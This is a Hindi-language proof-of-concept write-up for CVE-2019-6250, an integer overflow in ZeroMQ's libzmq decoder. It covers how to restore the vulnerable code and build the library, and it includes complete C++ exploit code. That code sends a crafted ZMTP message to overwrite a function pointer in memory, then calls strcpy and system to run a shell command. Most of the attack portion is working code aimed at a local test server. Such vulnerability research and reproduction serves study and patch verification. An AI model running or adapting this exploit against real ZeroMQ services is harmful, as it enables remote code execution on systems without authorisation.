
CVE-2019-6250 के लिए अवधारणा का प्रमाण शोषण, जो ZeroMQ के libzmq में पूर्णांक अतिप्रवाह द्वारा गढ़े गए संदेशों के माध्यम से मनमाना कोड निष्पादन को प्रदर्शित करता है।
ZeroMQ(ZMQ) एक उच्च-प्रदर्शन अतुल्यकालिक संदेश पुस्तकालय है, जिसे वितरित या समानांतर कम्प्यूटिंग वातावरण के लिए एक कुशल और लचीला संदेश प्रेषण तंत्र प्रदान करने के लिए डिज़ाइन किया गया है। ZeroMQ विभिन्न संदेश प्रेषण पैटर्न (जैसे अनुरोध-उत्तर, प्रकाशन-सदस्यता, पुश-पुल, प्रॉक्सी, आदि) प्रदान करता है, और कई संचार प्रोटोकॉल (जैसे TCP, IPC, PGM, आदि) का समर्थन करता है। ZeroMQ का डिज़ाइन लक्ष्य नेटवर्क प्रोग्रामिंग को सरल बनाना और कुशल संदेश कतार प्रदान करके प्रदर्शन को बढ़ाना है।
libzmq ZeroMQ का मुख्य कार्यान्वयन पुस्तकालय है, जो सामान्यतः ZeroMQ पुस्तकालय के C भाषा कार्यान्वयन को संदर्भित करता है। यह ZeroMQ सुविधाओं का ठोस कार्यान्वयन है, जो विभिन्न प्रोग्रामिंग भाषाओं के लिए बुनियादी सहायता प्रदान करता है। libzmq सभी ZeroMQ की मुख्य कार्यक्षमता प्रदान करता है, और इसका उपयोग कई भाषा बाइंडिंग के साथ किया जा सकता है।
libzmq पुस्तकालय डाउनलोड करें
git clone https://github.com/zeromq/libzmq.git
cd libzmq
git reset --hard 7302b9b8d127be5aa1f1ccebb9d01df0800182f3
लेखक ने इस भेद्यता को ठीक कर दिया है। भेद्यता को पुनः उत्पन्न करने के लिए, src/v2_decoder.cpp में जाएँ और फ़ंक्शन zmq::v2_decoder_t::size_ready की सामग्री को निम्नलिखित कोड से बदलें:
int zmq::v2_decoder_t::size_ready (uint64_t msg_size_,unsigned char const *read_pos_)
{
int rc = _in_progress.close ();
assert (rc == 0);
// the current message can exceed the current buffer. We have to copy the buffer
// data into a new message and complete it in the next receive.
shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
|| ((unsigned char *) read_pos_ + msg_size_
> (allocator.data () + allocator.size ())))) {
// a new message has started, but the size would exceed the pre-allocated arena
// this happens every time when a message does not fit completely into the buffer
rc = _in_progress.init_size (static_cast<size_t> (msg_size_));
} else {
// construct message using n bytes from the buffer as storage
// increase buffer ref count
// if the message will be a large message, pass a valid refcnt memory location as well
rc =
_in_progress.init (const_cast<unsigned char *> (read_pos_),
static_cast<size_t> (msg_size_),
shared_message_memory_allocator::call_dec_ref,
allocator.buffer (), allocator.provide_content ());
// For small messages, data has been copied and refcount does not have to be increased
if (_in_progress.is_zcmsg ()) {
allocator.advance_content ();
allocator.inc_ref ();
}
}
if (unlikely (rc)) {
errno_assert (errno == ENOMEM);
rc = _in_progress.init ();
errno_assert (rc == 0);
errno = ENOMEM;
return -1;
}
_in_progress.set_flags (_msg_flags);
// this sets read_pos to
// the message data address if the data needs to be copied
// for small message / messages exceeding the current buffer
// or
// to the current start address in the buffer because the message
// was constructed to use n bytes from the address passed as argument
next_step (_in_progress.data (), _in_progress.size (),
&v2_decoder_t::message_ready);
return 0;
}
libzmq पुस्तकालय स्थापित करें
sudo apt-get install libtool pkg-config build-essential autoconf
automake
./autogen.sh
./configure
make
sudo make install
cppzmq डाउनलोड और इंस्टॉल करें
git clone https://github.com/zeromq/cppzmq
cd cppzmq
cmake .
sudo make -j4 install
/demo/main.cpp को इस रिपॉजिटरी के main.cpp से बदलें
main.cpp को कंपाइल करें
cd demo
mkdir build
cd build
cmake ..
make
./demo
Libzmq/src/v2_decoder.cpp में निम्नलिखित सामग्री में पूर्णांक अतिप्रवाह (integer overflow) मौजूद है। जब msg_size_ का मान बहुत बड़ा होता है, तो read_pos+msg_size_ एक बहुत छोटी संख्या हो जाती है, जिससे if शर्त गलत (false) हो जाती है, और प्रोग्राम संदेश आकार को आरंभ नहीं करता है। if (unlikely (!zero_copy || ((unsigned char *) read_pos + msg_size_ > (allocator.data () + allocator.size ())))) {
इसलिए लिखे गए संदेश का उपयोग बफर के बाद की मेमोरी को ओवरराइट करने के लिए किया जा सकता है। बफर के बाद की मेमोरी एक संरचना content_t है, जिसमें फ़ंक्शन पॉइंटर ffn और फ़ंक्शन पैरामीटर data तथा hint शामिल हैं। 67 struct content_t 68 { 69 void *data; 70 size_t size; 71 msg_free_fn *ffn; 72 void *hint; 73 zmq::atomic_counter_t refcnt; 74 };
प्रेषित संदेश को नियंत्रित करके, उपरोक्त फ़ंक्शन पॉइंटर और पैरामीटर को विशिष्ट फ़ंक्शन और उसके पैरामीटर से ओवरराइट करके हमला किया जा सकता है।
#include <netinet/in.h>
#include <arpa/inet.h>
#include <zmq.hpp>
#include <string>
#include <iostream>
#include <unistd.h>
#include <thread>
#include <mutex>
class Thread {
public:
Thread() : the_thread(&Thread::ThreadMain, this)
{ }
~Thread(){
}
private:
std::thread the_thread;
void ThreadMain() {
zmq::context_t context (1);
zmq::socket_t socket (context, ZMQ_REP);
socket.bind ("tcp://*:6666");
while (true) {
zmq::message_t request;
// Wait for next request from client
try {
socket.recv (&request);
} catch ( ... ) { }
}
}
};
static void callRemoteFunction(const uint64_t arg1Addr, const uint64_t arg2Addr, const uint64_t funcAddr)
{
int s;
struct sockaddr_in remote_addr = {};
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
abort();
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons(6666);
inet_pton(AF_INET, "127.0.0.1", &remote_addr.sin_addr);
if (connect(s, (struct sockaddr *)&remote_addr, sizeof(struct sockaddr)) == -1)
{
abort();
}
const uint8_t greeting[] = {
0xFF, /* Indicates 'versioned' in zmq::stream_engine_t::receive_greeting */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* Unused */
0x01, /* Indicates 'versioned' in zmq::stream_engine_t::receive_greeting */
0x01, /* Selects ZMTP_2_0 in zmq::stream_engine_t::select_handshake_fun */
0x00, /* Unused */
};
send(s, greeting, sizeof(greeting), 0);
const uint8_t v2msg[] = {
0x02, /* v2_decoder_t::eight_byte_size_ready */
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, /* msg_size */
};
send(s, v2msg, sizeof(v2msg), 0);
/* Write UNTIL the location of zmq::msg_t::content_t */
size_t plsize = 8183;
uint8_t* pl = (uint8_t*)calloc(1, plsize);
send(s, pl, plsize, 0);
free(pl);
uint8_t content_t_replacement[] = {
/* void* data */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
/* size_t size */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
/* msg_free_fn *ffn */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
/* void* hint */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
/* Assumes same endianness as target */
memcpy(content_t_replacement + 0, &arg1Addr, sizeof(arg1Addr));
memcpy(content_t_replacement + 16, &funcAddr, sizeof(funcAddr));
memcpy(content_t_replacement + 24, &arg2Addr, sizeof(arg2Addr));
/* Overwrite zmq::msg_t::content_t */
send(s, content_t_replacement, sizeof(content_t_replacement), 0);
close(s);
sleep(1);
}
char destbuffer[100];
char srcbuffer[100] = "ping google.com";
int main(void)
{
Thread* rt = new Thread();
sleep(1);
callRemoteFunction((uint64_t)destbuffer, (uint64_t)srcbuffer, (uint64_t)strcpy);
callRemoteFunction((uint64_t)destbuffer, 0, (uint64_t)system);
return 0;
}